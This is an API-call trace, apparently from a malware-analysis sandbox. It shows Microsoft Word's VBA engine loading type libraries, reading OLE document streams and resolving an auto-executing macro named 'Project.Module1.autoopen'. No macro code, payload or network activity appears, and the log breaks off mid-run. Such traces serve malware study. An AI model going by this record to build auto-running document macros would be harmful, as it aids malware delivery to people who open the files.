[0029.544] IUnknown:QueryInterface (in: This=0x5810260, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x308198 | out: ppvObject=0x308198*=0x0) returned 0x80004002
[0029.544] CRetailMalloc_Realloc () returned 0x7582a70
[0029.544] SysStringLen (param_1="stdole") returned 0x6
[0029.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
[0029.544] SysStringLen (param_1="stdole") returned 0x6
[0029.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x7604f74, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7
[0029.545] CRetailMalloc_Alloc () returned 0x57b2c78
[0029.545] CRetailMalloc_Free () returned 0x5ac0001
[0029.545] CRetailMalloc_Alloc () returned 0x76120d0
[0029.545] CRetailMalloc_Realloc () returned 0x7550120
[0029.547] CRetailMalloc_Free () returned 0x36e0001
[0029.548] CRetailMalloc_Alloc () returned 0x7540370
[0029.548] CRetailMalloc_Free () returned 0x20f0001
[0029.548] CRetailMalloc_Realloc () returned 0x75830f8
[0029.548] CRetailMalloc_Alloc () returned 0x7540370
[0029.548] CRetailMalloc_Free () returned 0x20f0001
[0029.548] IUnknown:Release (This=0x5810260) returned 0x3
[0029.554] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x308258 | out: lpBuffer="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\") returned 0x25
[0029.554] _access (_FileName="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0
[0029.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x308230, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4
[0029.555] _msize (_Block=0x5063950) returned 0x26
[0029.555] _msize (_Block=0x506f620) returned 0x26
[0029.555] strcpy_s (in: _Dst=0x506f688, _DstSize=0x29, _Src="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE") returned 0x0
[0029.555] _access_s (_FileName="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0
[0029.556] strcpy_s (in: _Dst=0x506f688, _DstSize=0x29, _Src="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE") returned 0x0
[0029.556] _access_s (_FileName="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE", _AccessMode=2) returned 0x0
[0029.556] strcpy_s (in: _Dst=0x506f688, _DstSize=0x29, _Src="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE") returned 0x0
[0029.556] strcpy_s (in: _Dst=0x506f688, _DstSize=0x29, _Src="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE") returned 0x0
[0029.556] strcpy_s (in: _Dst=0x506f688, _DstSize=0x29, _Src="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE") returned 0x0
[0029.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE", cchWideChar=-1, lpMultiByteStr=0x308410, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE", lpUsedDefaultChar=0x0) returned 41
[0029.557] _access_s (_FileName="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0
[0029.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}", cchWideChar=-1, lpMultiByteStr=0x57b2c78, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{3832D640-CF90-11CF-8E43-00A0C911005A}", lpUsedDefaultChar=0x0) returned 39
[0029.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x308450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4
[0029.557] lstrlenA (lpString="VBE") returned 3
[0029.557] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 38
[0029.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x308440, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4
[0029.557] wsprintfA (in: param_1=0x506f620, param_2="%s;%s;&H%08lX" | out: param_1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53
[0029.557] wsprintfA (in: param_1=0x30847c, param_2="&H%08lX" | out: param_1="&H00000001") returned 10
[0029.558] CRetailMalloc_Free () returned 0x36e0001
[0029.558] CRetailMalloc_Alloc () returned 0x7612120
[0029.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x3084e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7
[0029.560] IsCharAlphaA (ch=78) returned 1
[0029.560] lstrlenA (lpString="Normal") returned 6
[0029.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x3082c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7
[0029.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x308360, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9
[0029.560] lstrcmpA (lpString1="Project1", lpString2="Normal") returned 1
[0029.561] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1
[0029.561] CRetailMalloc_Alloc () returned 0x76b91c8
[0029.561] CRetailMalloc_Free () returned 0xea90001
[0029.561] CRetailMalloc_Alloc () returned 0x7611ea0
[0029.561] CRetailMalloc_Realloc () returned 0x7550120
[0029.561] CRetailMalloc_Free () returned 0xc7a0001
[0029.563] wcscpy_s (in: _Destination=0x307f9a, _SizeInWords=0x105, _Source="Normal" | out: _Destination="Normal") returned 0x0
[0029.563] _wcsicmp (_String1="*\\CNormal", _String2="*\\Z015b7b45f5") returned -23
[0029.564] IUnknown:QueryInterface (in: This=0x75e9628, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307d04 | out: ppvObject=0x307d04*=0x0) returned 0x80004002
[0029.564] IUnknown:Release (This=0x75e9628) returned 0x2
[0029.564] IUnknown:QueryInterface (in: This=0x75e82c0, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307d04 | out: ppvObject=0x307d04*=0x0) returned 0x80004002
[0029.564] IUnknown:Release (This=0x75e82c0) returned 0x3
[0029.564] IUnknown:QueryInterface (in: This=0x5810260, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307d04 | out: ppvObject=0x307d04*=0x0) returned 0x80004002
[0029.564] IUnknown:Release (This=0x5810260) returned 0x3
[0029.567] wcscpy_s (in: _Destination=0x75834f0, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0029.567] wcscpy_s (in: _Destination=0x757c450, _SizeInWords=0x108, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0029.568] _wfullpath (in: _Buffer=0x308178, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\ATVeyDl98Z\\Desktop\\Normal") returned="C:\\Users\\ATVeyDl98Z\\Desktop\\Normal"
[0029.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=-1, lpMultiByteStr=0x308490, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9
[0029.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=-1, lpMultiByteStr=0x308470, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13
[0029.569] IsCharAlphaA (ch=84) returned 1
[0029.570] lstrlenA (lpString="ThisDocument") returned 12
[0029.570] CRetailMalloc_Realloc () returned 0x760a020
[0029.570] CRetailMalloc_Alloc () returned 0x75501d0
[0029.570] CRetailMalloc_Alloc () returned 0x4513a40
[0029.570] CRetailMalloc_Alloc () returned 0x1bb4fc8
[0029.571] CRetailMalloc_Alloc () returned 0x452c5e8
[0029.571] CRetailMalloc_Alloc () returned 0x57b2c78
[0029.571] CRetailMalloc_Realloc () returned 0x7550228
[0029.571] CRetailMalloc_Realloc () returned 0x76a94b0
[0029.571] CRetailMalloc_Realloc () returned 0x7609f30
[0029.571] CRetailMalloc_Alloc () returned 0x76b91c8
[0029.571] CRetailMalloc_Free () returned 0xebf0001
[0029.571] CRetailMalloc_Alloc () returned 0x7611f40
[0029.571] CRetailMalloc_Realloc () returned 0x74b3198
[0029.571] CRetailMalloc_Free () returned 0xc7a0001
[0029.571] CRetailMalloc_Alloc () returned 0x757c920
[0029.571] CRetailMalloc_Alloc () returned 0x7611f40
[0029.571] CRetailMalloc_Alloc () returned 0x7604fe8
[0029.571] CRetailMalloc_Alloc () returned 0x75f2668
[0029.571] CRetailMalloc_Alloc () returned 0x7609f40
[0029.571] CRetailMalloc_Alloc () returned 0x7609f80
[0029.572] CRetailMalloc_Alloc () returned 0x7586280
[0029.572] CRetailMalloc_Alloc () returned 0x75f26f0
[0029.572] CRetailMalloc_Alloc () returned 0x75868a0
[0029.572] CRetailMalloc_Alloc () returned 0x7612058
[0029.572] CRetailMalloc_Alloc () returned 0x7609990
[0029.572] CRetailMalloc_Alloc () returned 0x760a030
[0029.572] CRetailMalloc_Alloc () returned 0x7612030
[0029.572] CRetailMalloc_Alloc () returned 0x75f2778
[0029.572] CRetailMalloc_Alloc () returned 0x45729e0
[0029.572] CRetailMalloc_Alloc () returned 0x4572de8
[0029.572] CRetailMalloc_Alloc () returned 0x45731f0
[0029.573] CRetailMalloc_Alloc () returned 0x76a96d0
[0029.573] CRetailMalloc_Alloc () returned 0x76a9630
[0029.573] CRetailMalloc_Realloc () returned 0x7605048
[0029.573] CRetailMalloc_Realloc () returned 0x57b2d08
[0029.574] CRetailMalloc_Alloc () returned 0x7586cb8
[0029.574] CRetailMalloc_Free () returned 0x1
[0029.577] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x3085ac*=0x0 | out: pptlib=0x3085ac*=0x757e058) returned 0x0
[0029.626] IUnknown:QueryInterface (in: This=0x757e058, riid=0x7278ca84*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x308278 | out: ppvObject=0x308278*=0x0) returned 0x80004002
[0029.628] SysStringLen (param_1="Office") returned 0x6
[0029.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
[0029.628] SysStringLen (param_1="Office") returned 0x6
[0029.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x7604f74, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7
[0029.628] CRetailMalloc_Alloc () returned 0x75f0f30
[0029.628] CRetailMalloc_Free () returned 0x3350001
[0029.628] CRetailMalloc_Alloc () returned 0x76121c0
[0029.628] CRetailMalloc_Realloc () returned 0x1bb5038
[0029.628] CRetailMalloc_Free () returned 0x1df0001
[0029.628] CRetailMalloc_Alloc () returned 0x568e310
[0029.628] CRetailMalloc_Free () returned 0x1610001
[0029.629] CRetailMalloc_Alloc () returned 0x568e310
[0029.629] CRetailMalloc_Free () returned 0x1610001
[0029.629] IUnknown:Release (This=0x757e058) returned 0x1
[0029.629] CRetailMalloc_Alloc () returned 0x74b3198
[0029.630] CRetailMalloc_Alloc () returned 0x752d6a0
[0029.630] CRetailMalloc_Alloc () returned 0x7612260
[0029.630] CRetailMalloc_Alloc () returned 0x75f67b0
[0029.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x308360, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13
[0029.632] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisDocument") returned 0x109e3c
[0029.632] CRetailMalloc_Alloc () returned 0x7609990
[0029.632] qsort (in: _Base=0x7609990, _NumOfElements=0x2, _SizeOfElements=0x4, _PtFuncCompare=0x7261de66 | out: _Base=0x7609990)
[0029.632] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1
[0029.632] bsearch (_Key=0x307c40, _Base=0x7609990, _NumOfElements=0x2, _SizeOfElements=0x4, _PtFuncCompare=0x7261de66) returned 0x7609994
[0029.632] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 3
[0029.633] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 2
[0029.634] CRetailMalloc_Alloc () returned 0x7581dc8
[0029.634] CRetailMalloc_Alloc () returned 0x7612288
[0029.634] CRetailMalloc_Alloc () returned 0x7605240
[0029.634] CRetailMalloc_Alloc () returned 0x75f2800
[0029.634] CRetailMalloc_Alloc () returned 0x7609f40
[0029.635] CRetailMalloc_Alloc () returned 0x760a080
[0029.635] CExposedDocFile::AddRef () returned 0x3
[0029.635] CExposedDocFile::OpenStream () returned 0x0
[0029.635] CRetailMalloc_Alloc () returned 0x7587480
[0029.635] CExposedDocFile::Release () returned 0x3
[0029.635] CExposedStream::Read () returned 0x0
[0029.635] CRetailMalloc_Realloc () returned 0x0
[0029.635] CRetailMalloc_Alloc () returned 0x760a090
[0029.635] CRetailMalloc_Realloc () returned 0x7605168
[0029.635] CRetailMalloc_Realloc () returned 0x760a0a0
[0029.635] CRetailMalloc_Alloc () returned 0x7531648
[0029.635] CRetailMalloc_Alloc () returned 0x7612288
[0029.635] CExposedStream::Seek () returned 0x0
[0029.635] CRetailMalloc_Realloc () returned 0x0
[0029.635] CRetailMalloc_Alloc () returned 0x760a0b0
[0029.635] CRetailMalloc_Alloc () returned 0x760a0c0
[0029.635] CRetailMalloc_Alloc () returned 0x760a0d0
[0029.635] CRetailMalloc_Alloc () returned 0x7612288
[0029.635] CExposedStream::Seek () returned 0x0
[0029.635] CRetailMalloc_Realloc () returned 0x0
[0029.635] CRetailMalloc_Alloc () returned 0x760a0d0
[0029.635] CRetailMalloc_Realloc () returned 0x0
[0029.635] CRetailMalloc_Alloc () returned 0x760a080
[0029.636] CRetailMalloc_Realloc () returned 0x57b2978
[0029.636] CRetailMalloc_Realloc () returned 0x0
[0029.636] CRetailMalloc_Alloc () returned 0x760a0c0
[0029.636] CRetailMalloc_Realloc () returned 0x7605240
[0029.636] CRetailMalloc_Alloc () returned 0x76b9190
[0029.636] CRetailMalloc_Alloc () returned 0x76b9238
[0029.636] CRetailMalloc_Free () returned 0xca40001
[0029.636] CRetailMalloc_Alloc () returned 0x75f2800
[0029.636] CExposedStream::Seek () returned 0x0
[0029.636] CRetailMalloc_Realloc () returned 0x75f6830
[0029.636] CExposedStream::Seek () returned 0x0
[0029.636] CExposedStream::Seek () returned 0x0
[0029.636] CExposedStream::Seek () returned 0x0
[0029.636] wcscpy_s (in: _Destination=0x4560afc, _SizeInWords=0x97, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0
[0029.682] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", pptlib=0x308348*=0x0 | out: pptlib=0x308348*=0x75e9628) returned 0x0
[0029.682] IUnknown:AddRef (This=0x75e9628) returned 0x4
[0029.682] IUnknown:QueryInterface (in: This=0x75e9628, riid=0x7278d870*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30835c | out: ppvObject=0x30835c*=0x0) returned 0x80004002
[0029.682] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3
[0029.682] wcscpy_s (in: _Destination=0x4560afc, _SizeInWords=0x8f, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0
[0029.685] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x308348*=0x0 | out: pptlib=0x308348*=0x75e82c0) returned 0x0
[0029.685] IUnknown:AddRef (This=0x75e82c0) returned 0x8
[0029.686] IUnknown:QueryInterface (in: This=0x75e82c0, riid=0x7278d870*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30835c | out: ppvObject=0x30835c*=0x0) returned 0x80004002
[0029.686] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3
[0029.686] wcscpy_s (in: _Destination=0x75ed1c4, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0
[0029.688] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x308348*=0x0 | out: pptlib=0x308348*=0x5810260) returned 0x0
[0029.688] IUnknown:AddRef (This=0x5810260) returned 0x5
[0029.688] IUnknown:QueryInterface (in: This=0x5810260, riid=0x7278d870*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x30835c | out: ppvObject=0x30835c*=0x0) returned 0x80004002
[0029.688] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3
[0029.689] wcscpy_s (in: _Destination=0x76121c4, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0029.689] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2
[0029.692] CRetailMalloc_Free () returned 0xc7a0001
[0029.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="49343", cchWideChar=-1, lpMultiByteStr=0x506f638, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="49343", lpUsedDefaultChar=0x0) returned 6
[0029.695] CRetailMalloc_Alloc () returned 0x74b3268
[0029.695] CRetailMalloc_Alloc () returned 0x7611fb8
[0029.695] CRetailMalloc_Alloc () returned 0x75f6870
[0029.696] CRetailMalloc_Alloc () returned 0x74b3338
[0029.696] CRetailMalloc_Alloc () returned 0x7612080
[0029.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x308340, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
[0029.698] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Module1") returned 0x101162
[0029.698] bsearch (_Key=0x307c20, _Base=0x7609990, _NumOfElements=0x2, _SizeOfElements=0x4, _PtFuncCompare=0x7261de66) returned 0x7609990
[0029.698] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 2
[0029.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project.Module1.autoopen", cchWideChar=-1, lpMultiByteStr=0x3085d0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project.Module1.autoopen", lpUsedDefaultChar=0x0) returned 25
[0029.715] CRetailMalloc_Alloc () returned 0x76121e8
[0029.715] strncpy_s (in: _Dst=0x76121e8, _DstSize=0x1a, _Src="Project.Module1.autoopen", _MaxCount=0x18 | out: _Dst="Project.Module1.autoopen") returned 0x0
[0029.715] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Project") returned 0x10ae2d
[0029.715] bsearch (_Key=0x307e60, _Base=0x7609990, _NumOfElements=0x2, _SizeOfElements=0x4, _PtFuncCompare=0x7261de66) returned 0x0
[0029.715] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 3
[0029.715] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1
[0029.716] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="Project", cchCount2=-1) returned 2
[0029.716] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Module1") returned 0x101162
[0029.716] bsearch (_Key=0x307e60, _Base=0x7609990, _NumOfElements=0x2, _SizeOfElements=0x4, _PtFuncCompare=0x7261de66) returned 0x7609990
[0029.716] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 2
[0029.716] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="autoopen") returned 0x102ad9
[0029.716] CRetailMalloc_Alloc () returned 0x757d7e0
[0029.716] CRetailMalloc_Alloc () returned 0x76120f8
[0029.716] CRetailMalloc_Alloc () returned 0x7604f88
[0029.716] CRetailMalloc_Alloc () returned 0x75f2800
[0029.716] CRetailMalloc_Alloc () returned 0x7609f40
[0029.716] CRetailMalloc_Alloc () returned 0x760a0e0
[0029.716] CExposedDocFile::AddRef () returned 0x4
[0029.716] CExposedDocFile::OpenStream () returned 0x0
[0029.717] CRetailMalloc_Alloc () returned 0x7533a60
[0029.717] CExposedDocFile::Release () returned 0x4
[0029.717] CExposedStream::Read () returned 0x0
[0029.717] CRetailMalloc_Realloc () returned 0x0
[0029.717] CRetailMalloc_Alloc () returned 0x760a0f0
[0029.717] CRetailMalloc_Realloc () returned 0x7605348
[0029.717] CRetailMalloc_Realloc () returned 0x760a100
[0029.717] CRetailMalloc_Alloc () returned 0x7533e80
[0029.717] CRetailMalloc_Alloc () returned 0x76120f8
[0029.717] CExposedStream::Seek () returned 0x0
[0029.717] CRetailMalloc_Realloc () returned 0x0
[0029.717] CRetailMalloc_Alloc () returned 0x760a110
[0029.717] CRetailMalloc_Alloc () returned 0x760a120
[0029.717] CRetailMalloc_Alloc () returned 0x760a130
[0029.717] CRetailMalloc_Alloc () returned 0x76120f8
[0029.718] CExposedStream::Seek () returned 0x0
[0029.718] CRetailMalloc_Realloc () returned 0x0
[0029.718] CRetailMalloc_Alloc () returned 0x760a130
[0029.718] CRetailMalloc_Realloc () returned 0x0
[0029.718] CRetailMalloc_Alloc () returned 0x760a0e0
[0029.718] CRetailMalloc_Realloc () returned 0x0
[0029.718] CRetailMalloc_Alloc () returned 0x760a120
[0029.718] CRetailMalloc_Realloc () returned 0x0
[0029.718] CRetailMalloc_Alloc () returned 0x760a140
[0029.718] CRetailMalloc_Realloc () returned 0x0
[0029.718] CRetailMalloc_Alloc () returned 0x7609f40
[0029.718] CRetailMalloc_Alloc () returned 0x75f2800
[0029.718] CExposedStream::Seek () returned 0x0
[0029.718] CRetailMalloc_Realloc () returned 0x7534298
[0029.718] CExposedStream::Read () returned 0x0
[0029.718] CExposedStream::Read () returned 0x0
[0029.718] CExposedStream::Seek () returned 0x0
[0029.718] CExposedStream::Seek () returned 0x0
[0029.718] CExposedStream::Seek () returned 0x0
[0029.720] CRetailMalloc_Alloc () returned 0x7534d68
[0029.720] CRetailMalloc_Alloc () returned 0x75f2800
[0029.720] CExposedStream::Seek () returned 0x0
[0029.720] CRetailMalloc_Alloc () returned 0x7535388
[0029.720] CExposedStream::Read () returned 0x0
[0029.721] CExposedStream::Read () returned 0x0
[0029.721] CRetailMalloc_Realloc () returned 0x7536578
[0029.721] CExposedStream::Read () returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x9, _Src=0x507270e | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x9, _Src=0x507297a | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xa, _Src=0x5072e62 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xa, _Src=0x5073356 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xa, _Src=0x50737d2 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xc, _Src=0x507390e | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x9, _Src=0x5073c22 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xb, _Src=0x81d0066 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x8, _Src=0x81d0432 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xa, _Src=0x81d071a | out: _Dst=0x307ef0) returned 0x0
